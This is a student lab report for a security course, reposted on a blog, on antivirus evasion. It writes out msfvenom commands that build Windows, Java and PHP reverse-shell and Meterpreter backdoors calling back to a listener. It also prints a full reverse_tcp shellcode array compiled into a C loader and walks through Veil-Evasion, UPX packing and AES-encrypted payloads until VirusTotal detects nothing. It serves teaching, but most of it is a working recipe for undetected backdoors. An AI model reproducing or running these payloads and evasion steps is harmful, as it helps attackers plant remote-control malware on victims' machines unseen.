首页 > 其他分享 >20201331 黄文刚 Exp3-免杀原理

20201331 黄文刚 Exp3-免杀原理

时间:2023-03-28 23:46:56浏览次数:43  
标签:x68 免杀 Exp3 xff 20201331 x8b 黄文刚 x00 veil

20201331 黄文刚 Exp3-免杀原理

基础问题回答

(1)杀软是如何检测出恶意代码的?

目前杀毒软件的原理主要有3种:

  1. 引擎与病毒库的交互作用,通过特征码提取与病毒库中的特征码进行比对识别病毒。
  2. 启发式Heuristic,通过程序的一些行为和特征来判断
  3. 在虚拟机技术上的启发式,通过建立一个虚拟环境运行程序对其进行全方位的检测。

(2)免杀是做什么?

免杀就是躲杀软的识别,免杀的基本思想就是破坏特征,这里的特征有可能是特征码,还有可能是行为特征,只要破环了病毒或木马的固有特征,并且保证原有的功能没有改变,那么免杀就算是完成了。

(3)免杀的基本方法有哪些?

1. 改变特征码

  • 如果你手里只有EXE,可以通过加壳的方法。加壳又包括压缩壳加密壳
  • 如果有shellcode(像Meterpreter),可以用encode进行编码,基于payload重新编译生成可执行文件,反复编码降低被查杀的可能性。
  • 如果有源代码,用其他语言进行重写再编译(如本次实验使用到的veil-evasion)
    2. 改变行为
  • 通讯方式
    尽量使用反弹式连接,即服务端(被控制端)会主动连接客户端(控制端)。
  • 使用隧道技术
    隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送,把所有要传送的数据全部封装到合法的报文里进行传送以绕过防火墙。

 - 加密通讯数据

  • 操作模式
    基于内存操作,像基于特征码的查杀大部分是扫描硬盘上的文件,所以可以考虑在用到后门时远程传输放在内存中运行,而不是存在硬盘上。但也有部分杀毒软件会扫描内存,一般可以采用加入nop指令来躲过查杀。减少对系统的修改加入混淆作用的正常功能代码等都可以达到目的。

(4)开启杀软能绝对防止电脑中恶意代码吗?

肯定是不能的。之前也有分析过,目前各大杀毒软件的原理主要有仨,也就是针对已有、已经发现病毒、恶意代码的特征进行全面排查,但如果出现了新的类型的病毒或者代码,在原有病毒库中根本无法检测到对应样本,或者在正常情况下这个病毒或恶意代码的行为完全正常,只有经过特殊条件才会触发等都会绕过杀毒软件,而高超的黑客是能够做到这些的,也就是说杀软并不是万能的。

实验过程

一、正确使用msf编码器、msfvenom生成如jar之类的其他文件

免杀检测

  1. 参考实验二[Exp2-后门原理与实践]中的第三个小实验,在Kali上用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.233 LPORT=1331 -f exe > 20201331_backdoor.exe生成针对Windows的毒化后门可执行程序20201331_backdoor.exe

  2. 放入[VirusTotal]中进行扫描

  • VirusTotal中的扫描结果

67款杀软中50款报出了病毒,不加处理的后门程序能被大部分的杀软检测到

  1. 使用msf编码器多次迭代,生成exe文件
  • 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
    在Kali中输入如下命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.31.233 LPORT=1331 -f exe > 20201331exp3.exe

用VirusTotal检测还是能检测出问题

加入多次编码参数-i,继续尝试

以上步骤说明简单的多次编码无法实现免杀

生成jar格式的后门文件

msfvenom -p java/shell_reverse_tcp  LHOST=172.16.217.1 LPORT=1331 -f jar > exp3_jar.jar

病毒检测

有33个机构检测出病毒

生成php格式的后门文件

man msfvenom查找msf毒化命令的使用说明

使用如下命令生成php格式的后门文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.233 LPORT=1331 x> 20201331exp3.php 

病毒检测

发现检测出病毒的机构变少了。
下面我们尝试使用嵌入式shellcode,手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,这一个简单的步骤,就可以降低VirusTotal的命中率。

二、使用veil,加壳工具

veil的安装

安装命令行

sudo apt-get install veil-evasion

下载成功后,修改setup.sh

cd /usr/share/veil/config
sudo vim setup.sh  #权限需要提升才能修改

进入vim命令模式输入:set number显示行号,找到260行,修改下载源
将其修改为gitee.com

修改完成后继续安装veil,一路点击下一个(或者默认选项)即可

安装成功!

其中需要注意的是在第一次安装时会显示报错找不到autoit文件,这时报错后紧接着在命令行中输入

/usr/share/veil/config/setup.sh --force --silent

即可自动修复错误

使用veil-evasion生成后门程序及检测

use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置IP和端口set LHOST 192.168.174.141set LPORT 1218

输入generate生成文件,接着输入命名,如:20191218_veil,如果不输入就是默认为payload

文件保存在/var/lib/veil/output/compiled/20191218_veil.exe`

通过VirusTotal检测,仍能被38个机构检测出病毒

对后门进行加壳处理

使用命令upx 20201331_veil.exe -o 20201331exp3veils.exe进行加壳

再次检测,发现基本没有太大变化

三、使用C + shellcode编程

通过命令用msf生成一段shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.233 LPORT=1331 -f c

生成攻击代码如下

unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
"\x0c\x89\xe5\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x57\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x8b\x48\x18\x50"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x1f\xe9\x68\x02"
"\x00\x05\x33\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

下面将攻击代码写进C语言

使用i686-w64-mingw32-g++ exp3.c -o exp3_c.exe编译成Win10下可执行文件

再次进行检测,检出率还是有所下降的

四、通过组合应用各种技术实现恶意代码免杀

利用python+aes_encrypt

打开veil,选择Evasion

输入list,找到攻击代码

输入use python/shellcode_inject/aes_encrypt.py

输入generate,并选择2

进行配置

输出到路径/usr/share/veil/

再次检测,发现没有检测出问题!

利用python+aes_encrypt组合攻击的原理是使用了数据加密的方式进行多次编译后门软件

实验心得

本次实验让我能够有机会亲手实践如何给后门加壳、如何实现免杀。虽然我们的尝试都是一些最基础的操作,也没有涉及到复杂的原理和方法,并且生成的攻击程序基本都会被现有的杀毒软件检测出来,但是在这个过程中,我发现随着实验的逐步推进,VirusTotal的检出率也实现了逐步下降,这也带给了我一定的成就感,同时也让我明白了最简单的免杀的原理。此

标签:x68,免杀,Exp3,xff,20201331,x8b,黄文刚,x00,veil
From: https://www.cnblogs.com/killerqueen4/p/17267227.html

相关文章

  • Exp3-免杀原理
    基础问题回答(1)杀软是如何检测出恶意代码的?根据特征码检测:就是恶意代码都有一些特征数据,也就是特征码,这些特征数据存储在AV厂商的特征库中。如果一个文件被检测出他的某......
  • PentestLab-web安全目录穿越-EXP3
    我们打开靶机选择第三个目录穿越打开图片观察发现可以看到后缀名称已经隐藏或者是过滤了我们尝试http://192.168.20.157/dirtrav/example3.php?file=../../../../etc/passwd......
  • Exp3-免杀原理
    一、基础问题回答1、杀软是如何检测出恶意代码的?答:(1)检测特征码人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻......
  • RegExp3 Clobal
    Ciobal1.特点:全局对象,这个Global中封装的方法不需要对象就可以直接调用。万法名()62.方法:encodeURI():url编码decodeURI():url解码encodeURIComponent():url......
  • JS对象RegExp2和JS对象RegExp3
    JS对象RegExp2:1.正则对象:1.创建1.varreg=new_RegExp(""正则表达式"");2.varreg=/正则表达式/;2.方法1.test(参数):验证指定的字符串是否符合正则定义的规范......
  • 20201331 黄文刚 学习笔记12(第十四章)
    20201331黄文刚学习笔记12(第十四章)一、知识点归纳以及自己最有收获的内容知识点归纳摘要本章讨论了MySQL关系数据库系统;介绍了MySQL并指出了它的重要性;展示了如何在......
  • JavaScript_对象_RegExp2与JavaScript_对象_RegExp3
    JavaScript_对象_RegExp2正则对象:1.创建 1.varreg  =new RegExp(“正则表达式”);2.var......